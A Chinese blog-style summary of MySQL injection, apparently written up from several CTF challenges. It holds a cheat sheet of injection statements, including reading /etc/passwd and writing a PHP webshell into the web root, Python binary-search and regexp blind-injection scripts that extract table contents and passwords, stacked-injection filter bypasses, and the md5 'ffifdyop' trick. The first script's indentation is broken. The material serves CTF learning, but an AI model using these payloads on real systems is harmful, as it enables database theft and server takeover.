您当前的位置:首页 > 电脑百科 > 数据库 > MYSQL

Mysql注入总结

时间:2021-07-29 10:02:36  来源:  作者:星云博创

0×00:前言

对于MySQL知识的一个初总结

Mysql注入总结

 

0×01:正文

  • MYSQL数据库特性

1.Mysql数据库默认不区分大小写,利用此特性可以进行大小写过正则匹配,举个简单的例子,有的题目中只过滤了select,那么我们可以用Select进行绕过。

2.mysql默认端口3306

3.mysql各个数据库的作用

(1)information_schema:

此数据库是一个信息数据库,保存了所有数据库的信息。

  • 常用SQL注入语句

1.显示当前用户:select user();(current_user)

2.显示当前数据库版本:select version();

3.显示当前数据库名:select database();show databases;

4.爆破字段数: order by

5.查看显示位:select 1,2,3,4,5
6.联合查询:union select 1,2,3,4,5
7.查询数据库名:

select group_concat(schema_name) from information_schema.schemata

8.查询数据表名:

select group_concat(table_name) from
information_schema.tableswhere table_schema='库名'
9.查询字段名:

select group_concat(column_name) from
information_schema.columnswhere table_name='表名'
10.读取特定行:

select * from mysql.user limit n,m
11.读取文件:select load_file('/etc/passwd')
12.写入文件:

select '<?php @eval($_POST[a]);?>' into outfile '/var/www/html/a.php'

13.判断此处有无注入点:利用and1=1和and1=2来进行分析
14.猜解表名:and (Select Count(*) from [表名])>=0
15.猜解字段名:and (Select Count([字段名]) from [表名])>=0
16.猜解字段的长度:and (select top 1 len(字段名) from 数据库名)>0

17.创建一个数据库:create database ybyy;
18.创建一个带字符的类型的数据库:create database mydb2 CHARACTER SET=utf8;

19.删除数据库:DROP DATABASE ybyy;
20.修改数据库编码:

ALTER DATABASE ybyy character set gbk;
21.选择数据库:use database;
22.查看表结构:desc tablename;
23.查看数据库创建语句:show create database databasename;

24.查看系统用户名:system_user()
25.查看连接数据库的用户名session_user()
26.读取数据库路径:@@datadir
27.读取安装路径:@@basedir MYSQL
28 操作系统:@@version_compile_os

 

0×02:盲注

什么叫盲注?

不会返回数据库内建的报错信息。而这些报错信息是我们普通SQL注入漏洞判断的依据。我们无法依据服务器的返回值来判断,我们可以依据两次执行的差距来判断,可以依据基于逻辑的真假来判断。

[极客大挑战 2019]FinalSQL题目给了提示,Python写sql盲注脚本

Mysql注入总结

 

点击1:

Mysql注入总结

 

可以看到这里是有waf的!

Mysql注入总结

 

在这里在测试一下id=0

Mysql注入总结

 

在这里就可以判断为布尔盲注。测了一下,这道题可以用异或注入来做。这里先来简单讲一下,1^0=11^1=0下面直接上payload:

Mysql注入总结

 


Mysql注入总结

 

利用二分法脚本来题提升盲注速度,因为后期中很多题型都需要到二分法爆破脚本,因此在这里解释的详细一点,以后的二分法脚本便不作详细解释。二分法:顾名思义,即为一分为二的方法。把答案所在的区间逐渐缩小,直到区间内有一次正确答案,就可以跳出一次循环。

在sql注入中,我们经常使用ASCII来对其进行便利,因此我们一般设置最大最小low=32,high=128。设置这两个值是因为在这期间基本包含了sql注入中password字段,但是也不免会有一些出题人喜欢出稀奇古怪的题目,这种题目我们不便理会。使用二分法来进行爆破的原因是:二分法比普通遍历效率要高很多。原理:每次爆破都是区间的中间值,如果中间值大于给定数字,那么下次爆破就是前半部分的中间值数字;如果中间值小于给定数字,下次就爆破后半部分的中间值数字。

那么接下来就可以分析一下EXP了:

import requests
url = "http://71eccd97-48cc-4534-b840-4ff5e336a0ad.node3.buuoj.cn/search.php?"
temp = {"id" : ""}
key = ""
for i in range(1,1000):
    low = 32
    high =128
    mid = (low+high)//2
    while(low<high):
#库名
        temp["id"] =
"1^(ascii(substr((select(group_concat(schema_name))from(information_schema.schem
ata)),%d,1))>%d)^1" %(i,mid)
#表名
        #temp["id"] =
"1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables
)where(table_schema=database())),%d,1))>%d)^1" %(i,mid)
#字段名
        #temp["id"] =
"1^(ascii(substr((select(group_concat(column_name))from(information_schema.colum
ns)where(table_name='F1naI1y')),%d,1))>%d)^1" %(i,mid)
#内容
        #temp["id"] =
"1^(ascii(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)^1" %
(i,mid)
r = requests.get(url,params=temp) print(low,high,mid,":")#在这里打印爆破的过程
if "others" in r.text:#这里做一个判断,有回显位的字段是:click others,无回显字
段是:ERROR!! 这个在上面的异或语句已经分析到了
low = mid+1 #如果成立,那么mid+1,就是爆出的回显位
else:
high = mid#如果不成立,那么继续用二分法进行搜
mid =(low+high)//2
if(mid ==32 or mid ==127):#如果当mid=32或者mid=127时说明,已经把所有的字段都爆完了,
就跳出循环
break
key =key + chr(mid)#每爆出一位就对其进行加和,最终key就是爆出来的完整字段 print(key)
Mysql注入总结

 

[BJDCTF 2nd]

Mysql注入总结

 

现在的BUU已经禁止扫描了,只能用常用的目录自己测试,这里测试robots.txt出现了提示

Mysql注入总结

 

接着进入hint.txt中

Mysql注入总结

 

select * from users where username='$_POST["username"]' and
password='$_POST["password"]';

这里我们构造:select * from users where username = 'admin' and password = 'or 0#'

Mysql注入总结

 

发现这里也是You konw ,P3rh4ps needs a girl friend接着我们构造:

payload:select * from users where username = 'admin' and password = 'or 1# '

我们可以这样理解:

select * from users where username = 'admin and password=' 注入代码#'这样就实现了'的逃逸

Mysql注入总结

 

那么之后再加上regexp就可以写盲注脚本了:

import binascii,requests
import string
zidian=string.ascii_letters+string.digits
print(zidian)
url='http://6d5a948a-bc60-439b-82bf-b70ba32509d5.node3.buuoj.cn/index.php'
key=''
while 1:
for i in zidian:
    ybyy='^'+key+i
    data={
        'username':'younotgf!\',
        'password':'or password regexp binary
0x{}#'.format(binascii.b2a_hex(ybyy.encode()).decode())
    }
    res=requests.post(url,data=data).text
    if 'stronger' in res:
        key+=i
        print(key)
        break
Mysql注入总结

 

可以发现这里跑出了密码,输入用户名和密码即可拿到flag

Mysql注入总结

 

0×03:堆叠注入

堆叠注入的定义stacked injections ,顾名思义,就是多条语句一起执行。

堆叠注入的原理在SQL语句中,分号(;)代表着一句sql语句的结束,如果;后面紧接着一条语句,那么是会一起执行的。但是堆叠注入的成功执行是需要很多条件的,一方面是API接口与数据库引擎不支持的限制,还有一方面是权限的限制。

堆叠注入与Union联合注入是不同的,union后面的语句只能是用来执行查询语句,但是堆叠注入后面可以执行任意语句。堆叠查询的解法有三种,下面在题目中会一一讲到。

[强网杯 2019]

随便注打开题目,出现此页面

Mysql注入总结

 

先来手测一下:payload:1' or 1=1#!

Mysql注入总结

 

利用万能密码,发现是可以出东西的。接下来我们先用order by 测一下此数据库有多少列payload:1' order by 1#

Mysql注入总结

 

这里发现了,是有两列数据。根据做题的思路,下面要查看哪个是显示位:payload:1' union select 1,2#

Mysql注入总结

 

这里发现了过滤的函数:

return preg_match("/select|update|delete|drop|insert|where|./i",$inject);

做到这里就知道是堆叠注入了,因为Rename,PREPARE,set等函数均未被过滤。

下面我们来尝试堆叠注入:payload:1';show databases;#

Mysql注入总结

 

可以发现是可以查询出数据库的,接下来又是走流程:payload:1';show tables;#

Mysql注入总结

 

得到了两个表:1919810931114514和words 先查看words表中的内容payload:1'; show columns from words; #

Mysql注入总结

 

继续查询另外一个表:payload:1'; show columns from 1919810931114514 ; #

Mysql注入总结

 

可以发现这里有flag字段。但是前面已经爆了,select等函数均不可使用,需要绕过,再写绕过之前,这 里先插入一个知识点:为什么mysql数据库中要用``(反引号)。

mysql中``用法

linux中是不区分``和''的区别的,但是在windows中区分,这里可以发现,payload:1'; show columns from 1919810931114514; # 是没有回显的。

Mysql注入总结

 

这里来说明一下原因:在mysql中查询纯数字和关键字的列名、表名时必须加

纯数字也是同理,show columns from 1919810931114514也是不会出结果的。这里也提示大家做列名和表名的时候不能用mysql中的关键字。

堆叠注入解题的三种姿势可以看到1919810931114514这个表中有flag字段,我们接下来的任务就是要如何查看flag字段中的内容。

第一种姿势:

重命名payload:

1';RENAME TABLE `words` TO `web_ybyy`;RENAME TABLE `1919810931114514` TO
`words`;ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) CHARACTER SET utf8
COLLATE utf8_general_ci NOT NULL;show columns from words;#
Mysql注入总结

 

这个的解释就是:

把原本words表重命名为web_ybyy表名,把1919810931114514改成words名,之后 利用alter table 修改words原本的表结构,最后利用show columns from words;进行输出。最后利用万能公式出flag:payload:1' or 1=1#

Mysql注入总结

 

第二种姿势:

预处理绕过selectPrepared Statements 的作用:当某一条语句反复被运用的时候,预先编译好会加快 执行速率。一次编译,多次运行,当然在这里主要还是为了绕过select函数 语法:定义预处理:PREPARE 定义的名字 from 要定义的语句执行:

EXECUTE 定义的名字 payload:

1';PREPARE web_ybyy from concat('s','elect', ' * from `1919810931114514`
');EXECUTE web_ybyy;#
Mysql注入总结

 

预编译的第二种方式:

利用char()对select进行绕过,在mysql中 char(115,101,108,101,99,116)--->select payload

1';PREPARE web_ybyy from concat(char(115,101,108,101,99,116),' * from
`1919810931114514` ');EXECUTE web_ybyy;#

 

Mysql注入总结

 

0×04:其他sql注入与md5的组合

这类题是套路题,突破点在于sql查询的一条语句: 可以看到pass字段做了md5加密,sql注入的灵魂在于如何闭合,这类题也不例外。ctfshow web9:首先利用dirsearch进行目录扫描

Mysql注入总结

 

提示了index.phps,我们把它下载下来

<?php
$flag="";
$password=$_POST['password'];
if(strlen($password)>10){
    die("password error");
}
        $sql="select * from user where username ='admin' and password
='".md5($password,true)."'";
        $result=mysqli_query($con,$sql);
            if(mysqli_num_rows($result)>0){
?>

这个就是源码了

其他sql注入与md5的组合

`mysql_num_rows() 返回结果集中行的数目,这里判断大于0可过check主要点在这里, password ='".md5($password,true)."'";

md5()函数两个参数:TRUE - 原始 16 字符二进制格式FALSE - 默认。32 字符十六进制数,这里我们进行了测试

payload1:129581926211651571912466741651878684928

Mysql注入总结

 

payload2:

ffifdyop
Mysql注入总结

 

username ='admin' and password =‘ ’or 'xxxxx'构造成这个类型的语句就可过check直接打,出flag

Mysql注入总结

 

0×05:总结

MYSQL注入bypass方式太多,大赛能学习到很多绕过姿势。慢慢收集整理吧。



Tags:Mysql注入   点击:()  评论:()
声明:本站部分内容及图片来自互联网,转载是出于传递更多信息之目的,内容观点仅代表作者本人,如有任何标注错误或版权侵犯请与我们联系(Email:2595517585@qq.com),我们将及时更正、删除,谢谢。
▌相关推荐
0&times;00:前言对于MYSQL知识的一个初总结 0&times;01:正文 MYSQL数据库特性1.Mysql数据库默认不区分大小写,利用此特性可以进行大小写过正则匹配,举个简单的例子,有的题目中只...【详细内容】
2021-07-29  Tags: Mysql注入  点击:(88)  评论:(0)  加入收藏
得到一个像原来老师一样督促你、关心你的人很难。。。---- 网易云热评一、常用命令及函数1、order by排序,获取数据有几个字段,后面小于等于字段数,都会返回结果,大于字段数返回...【详细内容】
2021-05-13  Tags: Mysql注入  点击:(223)  评论:(0)  加入收藏
MySQL注入原理SQL,叫做结构化的查询语言,所谓的SQL注入,就是把SQL命令插入到web表单提交或输入域名页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。具体来说,它就...【详细内容】
2020-08-17  Tags: Mysql注入  点击:(150)  评论:(0)  加入收藏
▌简易百科推荐
作者:雷文霆 爱可生华东交付服务部 DBA 成员,主要负责Mysql故障处理及相关技术支持。爱好看书,电影。座右铭,每一个不曾起舞的日子,都是对生命的辜负。 本文来源:原创投稿 *爱可生...【详细内容】
2021-12-24  爱可生    Tags:MySQL   点击:(6)  评论:(0)  加入收藏
生成间隙(gap)锁、临键(next-key)锁的前提条件 是在 RR 隔离级别下。有关Mysql记录锁、间隙(gap)锁、临键锁(next-key)锁的一些理论知识之前有写过,详细内容可以看这篇文章...【详细内容】
2021-12-14  python数据分析    Tags:MySQL记录锁   点击:(17)  评论:(0)  加入收藏
binlog 基本认识 MySQL的二进制日志可以说是MySQL最重要的日志了,它记录了所有的DDL和DML(除了数据查询语句)语句,以事件形式记录,还包含语句所执行的消耗的时间,MySQL的二...【详细内容】
2021-12-14  linux上的码农    Tags:mysql   点击:(13)  评论:(0)  加入收藏
为查询优化你的查询 大多数的MySQL服务器都开启了查询缓存。这是提高性最有效的方法之一,而且这是被MySQL的数据库引擎处理的。当有很多相同的查询被执行了多次的时候,这些查...【详细内容】
2021-12-09  元宇宙iwemeta    Tags:mysql   点击:(15)  评论:(0)  加入收藏
测试的目的和原因,公司有很多程序员,每个程序员对数据库和表结构都有自己的理解。而且每个程序员的理解往往是以效率考虑。既然都是为了效率考虑,那么我就来测试一下究竟哪种使...【详细内容】
2021-12-08  吴彬的分享    Tags:Mysql数据库   点击:(14)  评论:(0)  加入收藏
当你们考虑项目并发的时候,我在部署环境,当你们在纠结使用ArrayList还是LinkedArrayList的时候,我还是在部署环境。所以啊,技术不止境,我在部环境。今天这篇文章缕一下在同一台服...【详细内容】
2021-12-08  秃头码哥    Tags:MySQL数据库   点击:(16)  评论:(0)  加入收藏
对于数据分析来说,MySQL使用最多的是查询,比如对数据进行排序、分组、去重、汇总及字符串匹配等,如果查询的数据涉及多个表,还需要要对表进行连接,本文就来说说MySQL中常用的查询...【详细内容】
2021-12-06  笨鸟学数据分析    Tags:MySQL   点击:(19)  评论:(0)  加入收藏
在学习SQL语句之前,首先需要区分几个概念,我们常说的数据库是指数据库软件,例如MySQL、Oracle、SQL Server等,而本文提到的数据库是指数据库软件中的一个个用于存储数据的容器。...【详细内容】
2021-11-24  笨鸟学数据分析    Tags:SQL语句   点击:(23)  评论:(0)  加入收藏
概述以前参加过一个库存系统,由于其业务复杂性,搞了很多个应用来支撑。这样的话一份库存数据就有可能同时有多个应用来修改库存数据。比如说,有定时任务域xx.cron,和SystemA域...【详细内容】
2021-11-05  Java云海    Tags:分布式锁   点击:(31)  评论:(0)  加入收藏
MySQL的进阶查询 一、 按关键字排序 使用ORDERBY语句来实现排序排序可针对一个或多个字段ASC:升序,默认排序方式 【升序是从小到大】DESC:降序 【降序是从大到小】ORDER BY的...【详细内容】
2021-11-05  Java热点    Tags:SQL语句   点击:(27)  评论:(0)  加入收藏
最新更新
栏目热门
栏目头条